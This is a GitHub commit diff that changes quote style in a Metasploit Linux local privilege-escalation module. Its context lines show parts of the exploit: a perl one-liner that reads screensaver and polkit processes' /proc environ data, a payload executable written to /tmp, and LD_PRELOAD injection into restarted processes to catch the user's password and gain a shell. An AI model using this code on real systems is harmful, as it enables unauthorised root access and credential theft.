Skip to content

Commit 9c4d892

Browse files
committed
Use single quotes when possible
1 parent bbbb917 commit 9c4d892

File tree

1 file changed

+7
-6
lines changed

1 file changed

+7
-6
lines changed

modules/exploits/linux/local/desktop_privilege_escalation.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -56,19 +56,20 @@ def initialize(info={})
5656
))
5757

5858
register_options([
59-
OptString.new("WritableDir", [ true, "A directory for storing temporary files on the target system", "/tmp" ]),
59+
OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp']),
6060
], self.class)
6161
end
6262

6363
def check
6464
output = cmd_exec("if which perl && which sudo && id|grep -E 'sudo|adm' && pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;then echo OK;fi").gsub("\r","")
6565
vprint_status(output)
66-
if output["OK"] == "OK"
66+
if output['OK'] == 'OK'
6767
return Exploit::CheckCode::Vulnerable
6868
else
6969
return Exploit::CheckCode::Safe
7070
end
7171
end
72+
7273
def get_restart_commands
7374
text_output = cmd_exec('pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";$/=undef;for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\'').gsub("\r","")
7475
vprint_status(text_output)
@@ -96,7 +97,7 @@ def get_restart_commands
9697
end
9798

9899
def exploit
99-
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"
100+
exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"
100101
print_status("Writing payload executable to '#{exe_file}'")
101102
write_file(exe_file, generate_payload_exe())
102103
cmd_exec "chmod +x #{exe_file}"
@@ -180,13 +181,13 @@ def exploit
180181
lib_data = Metasm::ELF.compile_c(cpu, c).encode_string(:lib)
181182
print_status("Writing lib file to '#{lib_file}'")
182183
write_file(lib_file,lib_data)
183-
print_status("Restarting processes (screensaver/policykit)")
184+
print_status('Restarting processes (screensaver/policykit)')
184185
process_restart_commands = get_restart_commands()
185186
process_restart_commands.each do |cmd|
186-
cmd["LD_PRELOAD_PLACEHOLDER"] = lib_file
187+
cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file
187188
cmd_exec(cmd)
188189
end
189-
print_status("The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep the handler running.")
190+
print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep the handler running.')
190191
end
191192
end
192193

0 commit comments

Comments
 (0)